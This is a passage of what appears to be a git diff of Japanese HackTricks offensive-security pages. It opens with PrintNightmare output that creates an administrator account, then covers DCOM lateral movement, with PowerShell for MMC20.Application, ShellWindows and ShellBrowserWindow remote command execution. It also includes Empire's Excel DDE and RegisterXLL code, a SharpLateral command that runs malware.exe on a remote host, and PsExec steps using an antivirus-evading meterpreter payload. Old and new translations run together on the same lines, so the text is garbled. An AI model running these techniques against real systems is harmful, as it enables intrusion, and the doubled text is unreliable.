PS C:\htb> Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
[+] created payload at C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_am
d64_ce3301b66255a0fb\Amd64\mxdwdrv.dll"
[+] added user hacker as local administrator
[+] deleting payload from C:\Users\htb-student\AppData\Local\Temp\nightmare.dll
```
### **新しい管理者ユーザーの確認**
計画通りに進んだ場合、私たちはコントロール下に新しいローカル管理者ユーザーを持っているはずです。ユーザーの追加は「騒々しい」ですので、ステルスが考慮される評価ではこれを行うことは望ましくありません。さらに、アカウントの作成が評価の範囲内にあることをクライアントと確認する必要があります。
```
PS C:\htb> net user hacker
User name hacker
Full Name hacker
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set ?8/?9/?2021 12:12:01 PM
Password expires Never
Password changeable ?8/?9/?2021 12:12:01 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。
* **ハッキングトリックを共有するに、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか?**HackTricksに会社の広告を掲載**したいですか?または、**最新のPEASSバージョンにアクセス**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。 * [**公式PEASSHackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**するか、[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。** * **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より早く修正できるようにします。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体の問題を見つけます。今日[**無料で試してみてください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今日
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -22,120 +22,70 @@
## MMC20.Application ## MMC20.Application
**DCOM**Distributed Component Object Modelオブジェクトは、オブジェクトと**ネットワーク上で** **相互作用**する能力があるため、**興味深い**です。MicrosoftにはDCOMに関する良いドキュメントが[こちら](https://msdn.microsoft.com/en-us/library/cc226801.aspx)に、COMに関するドキュメントが[こちら](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)にあります。PowerShellを使用して`Get-CimInstance Win32_DCOMApplication`を実行することで、DCOMアプリケーションの堅牢なリストを見つけることができます。 分散コンポーネントオブジェクトモデルDCOMオブジェクトは、ネットワークベースのオブジェクトとのやり取りに興味深い機能を提供します。Microsoftは、DCOMとComponent Object ModelCOMの包括的なドキュメントを提供しており、[DCOMの場合](https://msdn.microsoft.com/en-us/library/cc226801.aspx) と [COMの場合](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) にアクセスできます。PowerShellコマンドを使用してDCOMアプリケーションのリストを取得できます
```bash
Get-CimInstance Win32_DCOMApplication
```
COMオブジェクト、[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)は、MMCスナップイン操作のスクリプト化を可能にします。特に、このオブジェクトには`Document.ActiveView`の下に`ExecuteShellCommand`メソッドが含まれています。このメソッドに関する詳細情報は[こちら](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)で確認できます。次のコマンドを実行して確認してください:
[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) COMオブジェクトを使用すると、MMCスナップイン操作のコンポーネントをスクリプト化できます。このCOMオブジェクト内の異なるメソッドとプロパティを列挙しているとき、`ExecuteShellCommand`というメソッドがDocument.ActiveViewの下にあることに気づきました。 この機能は、DCOMアプリケーションを介してネットワーク上でコマンドを実行することを容易にします。管理者としてリモートでDCOMとやり取りするために、PowerShellを以下のように利用できます
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。その後、ExecuteShellCommandメソッドを呼び出してリモートホストでプロセスを実行できます。プロセスは以下の手順を含みます
![](<../../.gitbook/assets/image (4) (2) (1) (1).png>) メソッドの確認:
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
```
RCEを取得します。
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
そのメソッドについては[こちら](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)で詳しく読むことができます。これまでのところ、ネットワーク上でアクセスでき、コマンドを実行できるDCOMアプリケーションがあります。最後のピースは、このDCOMアプリケーションとExecuteShellCommandメソッドを活用して、リモートホストでコード実行を行うことです。 # Then just run something like:
幸いにも、管理者として、"`[activator]::CreateInstance([type]::GetTypeFromProgID`"を使用してPowerShellでリモートでDCOMと対話することができます。必要なのは、DCOM ProgIDとIPアドレスを提供することです。それから、そのCOMオブジェクトのインスタンスをリモートで返します ls \\10.10.10.10\c$\Users
```
詳細については、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)を参照してください。
![](<../../.gitbook/assets/image (665).png>) ## ShellWindowsShellBrowserWindow
その後、`ExecuteShellCommand`メソッドを呼び出してリモートホストでプロセスを開始することが可能です: **MMC20.Application**オブジェクトは、明示的な「LaunchPermissions」が不足していることが特定され、管理者がアクセスできる権限を許可するデフォルトの権限になっています。詳細については、[こちら](https://twitter.com/tiraniddo/status/817532039771525120)のスレッドを探索することができ、[@tiraniddo](https://twitter.com/tiraniddo)のOleView .NETを使用して、明示的なLaunch Permissionがないオブジェクトをフィルタリングすることが推奨されています。
![](<../../.gitbook/assets/image (1) (4) (1).png>) `ShellBrowserWindow`と`ShellWindows`という2つの特定のオブジェクトが、明示的なLaunch Permissionsがないために強調されました。`HKCR:\AppID\{guid}`の下に`LaunchPermission`レジストリエントリが存在しない場合、明示的な権限がないことを示します。
## ShellWindows & ShellBrowserWindow
**MMC20.Application**オブジェクトには明示的な「[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)」がなく、デフォルトの許可セットが管理者へのアクセスを許可していました:
![](<../../.gitbook/assets/image (4) (1) (2).png>)
そのスレッドについては[こちら](https://twitter.com/tiraniddo/status/817532039771525120)で詳しく読むことができます。\
明示的なLaunchPermissionが設定されていない他のオブジェクトを表示するには、[@tiraniddo](https://twitter.com/tiraniddo)の[OleView .NET](https://github.com/tyranid/oleviewdotnet)を使用することができます。これには優れたPythonフィルターその他多くのものがあります。この場合、明示的なLaunch Permissionが設定されていないすべてのオブジェクトに絞り込むことができます。そうすると、`ShellBrowserWindow`と`ShellWindows`の2つのオブジェクトが私にとって際立っていました
![](<../../.gitbook/assets/image (3) (1) (1) (2).png>)
潜在的なターゲットオブジェクトを特定する別の方法は、`HKCR:\AppID\{guid}`のキーから`LaunchPermission`の値が欠落していることを探すことです。Launch Permissionsが設定されたオブジェクトは以下のようになり、データはバイナリ形式でオブジェクトのACLを表しています
![](https://enigma0x3.files.wordpress.com/2017/01/launch\_permissions\_registry.png?w=690\&h=169)
明示的なLaunchPermissionが設定されていないものは、その特定のレジストリエントリが欠落しています。
### ShellWindows ### ShellWindows
ProgIDを持たない`ShellWindows`に対して、.NETメソッド`Type.GetTypeFromCLSID`と`Activator.CreateInstance`を使用して、そのAppIDを使用してオブジェクトのインスタンス化を容易にします。このプロセスは、OleView .NETを使用して`ShellWindows`のCLSIDを取得することに依存しています。一度インスタンス化されると、`WindowsShell.Item`メソッドを介して相互作用が可能になり、`Document.Application.ShellExecute`のようなメソッドの呼び出しが行われます。
最初に探索したオブジェクトは[ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx)でした。このオブジェクトには[ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx)が関連付けられていないため、[Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NETメソッドと[Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx)メソッドを組み合わせて、リモートホスト上でそのAppIDを介してオブジェクトをインスタンス化することができます。これを行うには、OleView .NETを使用してShellWindowsオブジェクトの[CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx)を取得する必要があります: オブジェクトのインスタンス化とリモートでコマンドを実行するためのPowerShellの例が提供されました。
![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424)
以下に示すように、「Launch Permission」フィールドは空白であり、明示的な許可が設定されていません。
![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png?w=455\&h=401)
CLSIDを取得したので、リモートターゲット上でオブジェクトをインスタンス化することができます
```powershell ```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39 $com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com) $obj = [System.Activator]::CreateInstance($com)
```
リモートホスト上でオブジェクトがインスタンス化されると、それに対してインターフェースを行い、任意のメソッドを呼び出すことができます。オブジェクトへの返されたハンドルは、いくつかのメソッドとプロパティを明らかにしますが、これらとは対話できません。リモートホストと実際に対話を実現するためには、[WindowsShell.Item](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773970\(v=vs.85\).aspx)メソッドにアクセスする必要があります。これにより、Windowsシェルウィンドウを表すオブジェクトが返されます。
```
$item = $obj.Item() $item = $obj.Item()
```
```markdown
![](https://enigma0x3.files.wordpress.com/2017/01/item_instantiation.png?w=416&h=465)
Shell Windowの完全なハンドルを取得した後、公開されている予想されるメソッド/プロパティにアクセスできるようになります。これらのメソッドを調べた結果、**`Document.Application.ShellExecute`** が目立ちました。このメソッドのパラメータ要件に従ってください。要件は[こちら](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx)で文書化されています。
```
```powershell
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
``` ```
上記のように、私たちのコマンドはリモートホストで成功裏に実行されました。 ### Excel DCOMオブジェクトを使用した横方向移動
### ShellBrowserWindow DCOM Excelオブジェクトを悪用することで、横方向の移動が可能です。詳細な情報については、[Cybereasonのブログ](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)でExcel DDEを介したDCOM経由の横方向移動に関する議論を読むことをお勧めします。
この特定のオブジェクトはWindows 7には存在しないため、私がWin7-Win10で成功裏にテストした「ShellWindows」オブジェクトよりも横方向の移動にはやや限定されています。 Empireプロジェクトは、Excelを使用してDCOMオブジェクトを操作することでリモートコード実行RCEを実証するPowerShellスクリプトを提供しています。以下は、ExcelをRCEに悪用するためのさまざまな方法を示す、[EmpireのGitHubリポジトリ](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1)のスクリプトからのスニペットです。
このオブジェクトの列挙に基づいて、前のオブジェクトと同様に、エクスプローラーウィンドウへのインターフェースを効果的に提供するようです。このオブジェクトをインスタンス化するには、そのCLSIDを取得する必要があります。上記と同様に、OleView .NETを使用できます
![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414)
再び、空白のLaunch Permissionフィールドに注意してください
![screen-shot-2017-01-23-at-4-13-52-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-13-52-pm.png?w=399\&h=340)
CLSIDを取得したら、前のオブジェクトで行った手順を繰り返してオブジェクトをインスタンス化し、同じメソッドを呼び出すことができます
```powershell ```powershell
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>") # Detection of Office version
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)
```
```markdown
![](https://enigma0x3.files.wordpress.com/2017/01/shellbrowserwindow_command_execution.png?w=690&h=441)
リモートターゲットでコマンドが正常に実行されたことがわかります。
このオブジェクトはWindowsシェルと直接インターフェースするため、前のオブジェクトで必要だった「ShellWindows.Item」メソッドを呼び出す必要はありません。
これら2つのDCOMオブジェクトはリモートホストでシェルコマンドを実行するために使用できますが、リモートターゲットを列挙したり操作したりするために使用できる他の興味深いメソッドがたくさんあります。これらのメソッドには以下のものが含まれます
* `Document.Application.ServiceStart()`
* `Document.Application.ServiceStop()`
* `Document.Application.IsServiceRunning()`
* `Document.Application.ShutDownWindows()`
* `Document.Application.GetSystemInformation()`
## ExcelDDE & RegisterXLL
同様に、DCOM Excelオブジェクトを悪用して横方向に移動することが可能です。詳細については[https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)を読んでください。
```
```powershell
# Chunk of code from https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1
## You can see here how to abuse excel for RCE
elseif ($Method -Match "DetectOffice") { elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21] $isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"}) Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
} }
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") { elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath") $obj.Application.RegisterXLL("$DllPath")
} }
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") { elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com) $Obj = [System.Activator]::CreateInstance($Com)
@ -143,34 +93,44 @@ $Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command") $Obj.DDEInitiate("cmd", "/c $Command")
} }
``` ```
## 自動ツール ### レータル移動のための自動ツール
* Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)を使用すると、他のマシンでコードを実行するためのコメントされた方法を簡単に呼び出すことができます。 これらのテクニックを自動化するために2つのツールが強調されています
* [**SharpLateral**](https://github.com/mertdas/SharpLateral)も使用できます:
- **Invoke-DCOM.ps1**: Empireプロジェクトによって提供されたPowerShellスクリプトで、リモートマシンでコードを実行するためのさまざまなメソッドの呼び出しを簡素化します。このスクリプトはEmpire GitHubリポジトリでアクセスできます。
- **SharpLateral**: コードをリモートで実行するために設計されたツールで、次のコマンドと共に使用できます:
```bash ```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
``` ```
## 参考文献 ## 自動ツール
* 最初の方法は [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) からコピーされました。詳細はリンクをフォローしてください。 * Powershellスクリプト[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)は、他のマシンでコードを実行するためのすべてのコメント付き方法を簡単に呼び出すことができます。
* 第二のセクションは [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) からコピーされました。詳細はリンクをフォローしてください。 * [**SharpLateral**](https://github.com/mertdas/SharpLateral)も使用できます。
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
## 参考
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より早く修正してください。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。今日[**無料で試す**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。 * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォローする。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください。** * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -2,73 +2,65 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) を使って AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFT**](https://opensea.io/collection/the-peass-family) コレクションをチェックす - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に**参加する**か、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォローする** - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングのコツを共有する - **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
## それらの動作原理 ## 動作原理
1. SMB 経由でサービスバイナリを ADMIN$ シェアにコピーする 以下の手順に従って、サービスバイナリがSMB経由でターゲットマシンでリモート実行される方法を示します
2. バイナリを指すリモートマシン上にサービスを作成する
3. リモートでサービスを開始する
4. 終了時にサービスを停止し、バイナリを削除する
## **手動で PsExec を実行する** 1. **ADMIN$共有にサービスバイナリをコピー**します。
2. バイナリを指定して、リモートマシン上にサービスを**作成**します。
3. サービスを**リモートで起動**します。
4. 終了時に、サービスが**停止**され、バイナリが削除されます。
まず、msfvenom で生成し Veil で難読化したAV が検出しないようにするため)ペイロード実行可能ファイルがあると仮定します。この場合、私は meterpreter reverse_http ペイロードを作成し、'met8888.exe' と名付けました。 ### **PsExecの手動実行プロセス**
**バイナリをコピーする**。 "jarrieta" コマンドプロンプトから、バイナリを ADMIN$ に単純にコピーします。実際には、ファイルシステム上のどこにでもコピーして隠すことができます。 msfvenomで作成され、Veilを使用してウイルス対策ソフトの検出を回避するために難読化された実行可能ペイロードmeterpreter reverse_httpペイロードを表す'met8888.exe'という名前)があると仮定します。次の手順を実行します:
